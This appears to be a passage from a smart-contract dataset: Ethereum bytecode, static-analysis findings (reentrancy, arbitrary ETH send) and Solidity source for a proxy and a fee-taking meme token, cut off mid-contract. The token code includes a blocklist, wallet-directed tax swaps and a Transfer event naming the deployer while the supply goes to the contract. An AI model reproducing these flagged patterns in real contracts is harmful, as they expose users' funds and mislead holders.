15260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611325576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131c90612f1f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611395576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138c90612e3f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114739190612f5f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e790612eff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155790612dff565b60405180910390fd5b600081116115a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159a90612edf565b60405180910390fd5b6005600a81905550600a600b819055506115bb61092a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561162957506115f961092a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a7557600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d25750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116db57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117865750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117dc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117f45750601160179054906101000a900460ff165b156118a45760125481111561180857600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061185357600080fd5b601e426118609190613095565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561194f5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119a55750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119bb576005600a819055506014600b819055505b60006119c630610786565b9050601160159054906101000a900460ff16158015611a335750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a4b5750601160169054906101000a900460ff165b15611a7357611a5981611d05565b60004790506000811115611a7157611a7047611b9c565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b1c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b2657600090505b611b32848484846120c4565b50505050565b6000838311158290611b80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b779190612ddd565b60405180910390fd5b5060008385611b8f9190613176565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bec60028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c17573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c6860028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c93573d6000803e3d6000fd5b5050565b6000600854821115611cde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd590612e1f565b60405180910390fd5b6000611ce86120f1565b9050611cfd818461207a90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d63577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611d915781602001602082028036833780820191505090505b5090503081600081518110611dcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e7157600080fd5b505afa158015611e85573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ea9919061286f565b81600181518110611ee3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f4a30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b5565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fae959493929190612f7a565b600060405180830381600087803b158015611fc857600080fd5b505af1158015611fdc573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b6000808314156120125760009050612074565b60008284612020919061311c565b905082848261202f91906130eb565b1461206f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206690612e9f565b60405180910390fd5b809150505b92915050565b60006120bc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061211c565b905092915050565b806120d2576120d161217f565b5b6120dd8484846121c2565b806120eb576120ea61238d565b5b50505050565b60008060006120fe6123a1565b91509150612115818361207a90919063ffffffff16565b9250505090565b60008083118290612163576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215a9190612ddd565b60405180910390fd5b506000838561217291906130eb565b9050809150509392505050565b6000600a5414801561219357506000600b54145b1561219d576121c0565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806121d48761240c565b95509550955095509550955061223286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122c785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123138161251c565b61231d84836125d9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161237a9190612f5f565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b6000806000600854905060006b033b2e3c9fd0803ce800000090506123dd6b033b2e3c9fd0803ce800000060085461207a90919063ffffffff16565b8210156123ff576008546b033b2e3c9fd0803ce8000000935093505050612408565b81819350935050505b9091565b60008060008060008060008060006124298a600a54600b54612613565b92509250925060006124396120f1565b9050600080600061244c8e8787876126a9565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124b683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b38565b905092915050565b60008082846124cd9190613095565b905083811015612512576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250990612e5f565b60405180910390fd5b8091505092915050565b60006125266120f1565b9050600061253d8284611fff90919063ffffffff16565b905061259181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125ee8260085461247490919063ffffffff16565b600881905550612609816009546124be90919063ffffffff16565b6009819055505050565b60008060008061263f6064612631888a611fff90919063ffffffff16565b61207a90919063ffffffff16565b90506000612669606461265b888b611fff90919063ffffffff16565b61207a90919063ffffffff16565b9050600061269282612684858c61247490919063ffffffff16565b61247490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126c28589611fff90919063ffffffff16565b905060006126d98689611fff90919063ffffffff16565b905060006126f08789611fff90919063ffffffff16565b905060006127198261270b858761247490919063ffffffff16565b61247490919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061274561274084613014565b612fef565b9050808382526020820190508285602086028201111561276457600080fd5b60005b85811015612794578161277a888261279e565b845260208401935060208301925050600181019050612767565b5050509392505050565b6000813590506127ad81613629565b92915050565b6000815190506127c281613629565b92915050565b600082601f8301126127d957600080fd5b81356127e9848260208601612732565b91505092915050565b60008135905061280181613640565b92915050565b60008151905061281681613640565b92915050565b60008135905061282b81613657565b92915050565b60008151905061284081613657565b92915050565b60006020828403121561285857600080fd5b60006128668482850161279e565b91505092915050565b60006020828403121561288157600080fd5b600061288f848285016127b3565b91505092915050565b600080604083850312156128ab57600080fd5b60006128b98582860161279e565b92505060206128ca8582860161279e565b9150509250929050565b6000806000606084860312156128e957600080fd5b60006128f78682870161279e565b93505060206129088682870161279e565b92505060406129198682870161281c565b9150509250925092565b6000806040838503121561293657600080fd5b60006129448582860161279e565b92505060206129558582860161281c565b9150509250929050565b60006020828403121561297157600080fd5b600082013567ffffffffffffffff81111561298b57600080fd5b612997848285016127c8565b91505092915050565b6000602082840312156129b257600080fd5b60006129c0848285016127f2565b91505092915050565b6000602082840312156129db57600080fd5b60006129e984828501612807565b91505092915050565b600060208284031215612a0457600080fd5b6000612a128482850161281c565b91505092915050565b600080600060608486031215612a3057600080fd5b6000612a3e86828701612831565b9350506020612a4f86828701612831565b9250506040612a6086828701612831565b9150509250925092565b6000612a768383612a82565b60208301905092915050565b612a8b816131aa565b82525050565b612a9a816131aa565b82525050565b6000612aab82613050565b612ab58185613073565b9350612ac083613040565b8060005b83811015612af1578151612ad88882612a6a565b9750612ae383613066565b925050600181019050612ac4565b5085935050505092915050565b612b07816131bc565b82525050565b612b16816131ff565b82525050565b6000612b278261305b565b612b318185613084565b9350612b41818560208601613211565b612b4a8161334b565b840191505092915050565b6000612b62602383613084565b9150612b6d8261335c565b604082019050919050565b6000612b85602a83613084565b9150612b90826133ab565b604082019050919050565b6000612ba8602283613084565b9150612bb3826133fa565b604082019050919050565b6000612bcb601b83613084565b9150612bd682613449565b602082019050919050565b6000612bee601d83613084565b9150612bf982613472565b602082019050919050565b6000612c11602183613084565b9150612c1c8261349b565b604082019050919050565b6000612c34602083613084565b9150612c3f826134ea565b602082019050919050565b6000612c57602983613084565b9150612c6282613513565b604082019050919050565b6000612c7a602583613084565b9150612c8582613562565b604082019050919050565b6000612c9d602483613084565b9150612ca8826135b1565b604082019050919050565b6000612cc0601783613084565b9150612ccb82613600565b602082019050919050565b612cdf816131e8565b82525050565b612cee816131f2565b82525050565b6000602082019050612d096000830184612a91565b92915050565b6000604082019050612d246000830185612a91565b612d316020830184612a91565b9392505050565b6000604082019050612d4d6000830185612a91565b612d5a6020830184612cd6565b9392505050565b600060c082019050612d766000830189612a91565b612d836020830188612cd6565b612d906040830187612b0d565b612d9d6060830186612b0d565b612daa6080830185612a91565b612db760a0830184612cd6565b979650505050505050565b6000602082019050612dd76000830184612afe565b92915050565b60006020820190508181036000830152612df78184612b1c565b905092915050565b60006020820190508181036000830152612e1881612b55565b9050919050565b60006020820190508181036000830152612e3881612b78565b9050919050565b60006020820190508181036000830152612e5881612b9b565b9050919050565b60006020820190508181036000830152612e7881612bbe565b9050919050565b60006020820190508181036000830152612e9881612be1565b9050919050565b60006020820190508181036000830152612eb881612c04565b9050919050565b60006020820190508181036000830152612ed881612c27565b9050919050565b60006020820190508181036000830152612ef881612c4a565b9050919050565b60006020820190508181036000830152612f1881612c6d565b9050919050565b60006020820190508181036000830152612f3881612c90565b9050919050565b60006020820190508181036000830152612f5881612cb3565b9050919050565b6000602082019050612f746000830184612cd6565b92915050565b600060a082019050612f8f6000830188612cd6565b612f9c6020830187612b0d565b8181036040830152612fae8186612aa0565b9050612fbd6060830185612a91565b612fca6080830184612cd6565b9695505050505050565b6000602082019050612fe96000830184612ce5565b92915050565b6000612ff961300a565b90506130058282613244565b919050565b6000604051905090565b600067ffffffffffffffff82111561302f5761302e61331c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130a0826131e8565b91506130ab836131e8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130e0576130df6132be565b5b828201905092915050565b60006130f6826131e8565b9150613101836131e8565b925082613111576131106132ed565b5b828204905092915050565b6000613127826131e8565b9150613132836131e8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561316b5761316a6132be565b5b828202905092915050565b6000613181826131e8565b915061318c836131e8565b92508282101561319f5761319e6132be565b5b828203905092915050565b60006131b5826131c8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061320a826131e8565b9050919050565b60005b8381101561322f578082015181840152602081019050613214565b8381111561323e576000848401525b50505050565b61324d8261334b565b810181811067ffffffffffffffff8211171561326c5761326b61331c565b5b80604052505050565b6000613280826131e8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132b3576132b26132be565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b613632816131aa565b811461363d57600080fd5b50565b613649816131bc565b811461365457600080fd5b50565b613660816131e8565b811461366b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b5fc159213642e1ea712f04825a0120dc164aa5bf73fb93b19266ed0f5f3bca364736f6c63430008030033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,237 |
0x91b1FC48eb9e98D57d7d567391805c1459E2bF6F
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
contract ArcProxy {
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
/* solhint-disable-next-line */
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
/* solhint-disable-next-line */
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param admin_ Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(
address _logic,
address admin_,
bytes memory _data
)
payable
{
assert(
IMPLEMENTATION_SLOT == bytes32(
uint256(keccak256("eip1967.proxy.implementation")) - 1
)
);
_setImplementation(_logic);
if (_data.length > 0) {
/* solhint-disable-next-line */
(bool success,) = _logic.delegatecall(_data);
/* solhint-disable-next-line */
require(success);
}
assert(
ADMIN_SLOT == bytes32(
uint256(keccak256("eip1967.proxy.admin")) - 1
)
);
_setAdmin(admin_);
}
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback() external payable {
_fallback();
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`.
* Will run if call data is empty.
*/
receive() external payable virtual {
_fallback();
}
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation_ Address to delegate.
*/
function _delegate(address implementation_) internal {
/* solhint-disable-next-line */
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation_, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param account address of the account to check
* @return whether the target address is a contract
*/
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
/* solhint-disable-next-line */
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
/* solhint-disable-next-line */
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(
isContract(newImplementation),
"Cannot set a proxy implementation to a non-contract address"
);
bytes32 slot = IMPLEMENTATION_SLOT;
/* solhint-disable-next-line */
assembly {
sstore(slot, newImplementation)
}
}
/**
* @return admin_ The address of the proxy admin.
*/
function admin() external ifAdmin returns (address admin_) {
admin_ = _admin();
}
/**
* @return implementation_ The address of the implementation.
*/
function implementation() external ifAdmin returns (address implementation_) {
implementation_ = _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(
newAdmin != address(0),
"Cannot change the admin of a proxy to the zero address"
);
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(
address newImplementation,
bytes calldata data
)
external
payable
ifAdmin
{
_upgradeTo(newImplementation);
/* solhint-disable-next-line */
(bool success,) = newImplementation.delegatecall(data);
/* solhint-disable-next-line */
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
/* solhint-disable-next-line */
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
/* solhint-disable-next-line */
assembly {
sstore(slot, newAdmin)
}
}
}
|
0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046104ed565b610130565b61005b61009336600461050e565b61016d565b3480156100a457600080fd5b506100ad61021c565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046104ed565b61027e565b3480156100f557600080fd5b506100ad610390565b61012e6101297f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b6103d5565b565b60008051602061059d833981519152546001600160a01b0316336001600160a01b0316141561016557610162816103f9565b50565b6101626100fe565b60008051602061059d833981519152546001600160a01b0316336001600160a01b0316141561020f5761019f836103f9565b6000836001600160a01b031683836040516101bb92919061058c565b600060405180830381855af49150503d80600081146101f6576040519150601f19603f3d011682016040523d82523d6000602084013e6101fb565b606091505b505090508061020957600080fd5b50505050565b6102176100fe565b505050565b600061023460008051602061059d8339815191525490565b6001600160a01b0316336001600160a01b0316141561027357507f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b61027b6100fe565b90565b60008051602061059d833981519152546001600160a01b0316336001600160a01b03161415610165576001600160a01b0381166103215760405162461bcd60e51b815260206004820152603660248201527f43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f604482015275787920746f20746865207a65726f206164647265737360501b60648201526084015b60405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035860008051602061059d8339815191525490565b604080516001600160a01b03928316815291841660208301520160405180910390a16101628160008051602061059d83398151915255565b60006103a860008051602061059d8339815191525490565b6001600160a01b0316336001600160a01b03161415610273575060008051602061059d8339815191525490565b3660008037600080366000845af43d6000803e8080156103f4573d6000f35b3d6000fd5b61040281610439565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b803b6104ad5760405162461bcd60e51b815260206004820152603b60248201527f43616e6e6f742073657420612070726f787920696d706c656d656e746174696f60448201527f6e20746f2061206e6f6e2d636f6e7472616374206164647265737300000000006064820152608401610318565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc55565b80356001600160a01b03811681146104e857600080fd5b919050565b6000602082840312156104fe578081fd5b610507826104d1565b9392505050565b600080600060408486031215610522578182fd5b61052b846104d1565b9250602084013567ffffffffffffffff80821115610547578384fd5b818601915086601f83011261055a578384fd5b813581811115610568578485fd5b876020828501011115610579578485fd5b6020830194508093505050509250925092565b818382376000910190815291905056feb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103a2646970667358221220cde9ff8559836b28355dc59063adf3dda8023ac04886957d5bc272c2a5d5d1d864736f6c63430008040033
|
{"success": true, "error": null, "results": {}}
| 6,238 |
0x350711998bc23c1F93813339669F8Aa9149A1d88
|
/**
*Submitted for verification at Etherscan.io on 2021-11-10
*/
//SPDX-License-Identifier: MIT
// Telegram: t.me/DrOctopusToken
pragma solidity ^0.8.7;
uint256 constant INITIAL_TAX=9;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract DocOck is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**6;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _burnFee;
uint256 private _taxFee;
address payable private _taxWallet;
string private constant _name = "Doctor Octopus";
string private constant _symbol = "DOCOCK";
uint8 private constant _decimals = 6;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_burnFee = 1;
_taxFee = INITIAL_TAX;
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
